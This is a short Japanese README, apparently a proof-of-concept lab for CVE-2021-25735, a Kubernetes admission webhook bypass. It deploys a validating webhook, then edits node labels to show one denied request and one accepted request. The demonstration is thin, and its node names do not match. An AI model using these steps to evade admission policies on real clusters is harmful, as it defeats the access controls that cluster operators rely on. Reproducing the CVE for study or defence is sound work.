
CVE-2021-25735 エクスプロイト: Kubernetes 検証アドミッション Webhook バイパス
まず、gencerts.sh スクリプトを実行して TLS 証明書と鍵を生成します。
bash gencerts.sh
アドミッションコントローラをデプロイするには、以下のコマンドを使用して Docker コンテナイメージをローカルでビルドし、タグを付け、イメージを Dockerhub にプッシュする必要があります。
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0
次に、作成したイメージを Node.js アプリケーションと共に K8s クラスタにデプロイできます。webhook-deploy.yaml は、必要なすべてのコンポーネントをクラスタにデプロイします。
kubectl apply -f webhook-deploy.yaml
次に、Webhook を Kubernetes API サーバーに登録しましょう。そのためには、先ほど作成した ca.crt ファイルの Base64 を作成し、webhook-registration.yaml 内の CA_BUNDLE を置き換えます。
cat ca.crt | base64
最後に、Webhook を Kubernetes API サーバーに登録します。
kubectl apply -f webhook-registration.yaml
edit nodes コマンドを使用してノードラベルを変更し、新しいラベルを追加します。
kubectl edit nodes ip-172-20-61-82.ec2.internal
labels:
test: test
changeAllowed: "false"
ChangeAllowed が "false" に設定されているため、次のエラーが発生します:
error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run
kubectl replace -f /tmp/kubectl-edit-irc64.yamlto try this update again.
次の変更を行ってノードの変更を再試行するとします。 \
labels:
test: test
changeAllowed: "true"
この場合、編集操作はアドミッションコントローラをバイパスして受け入れられます。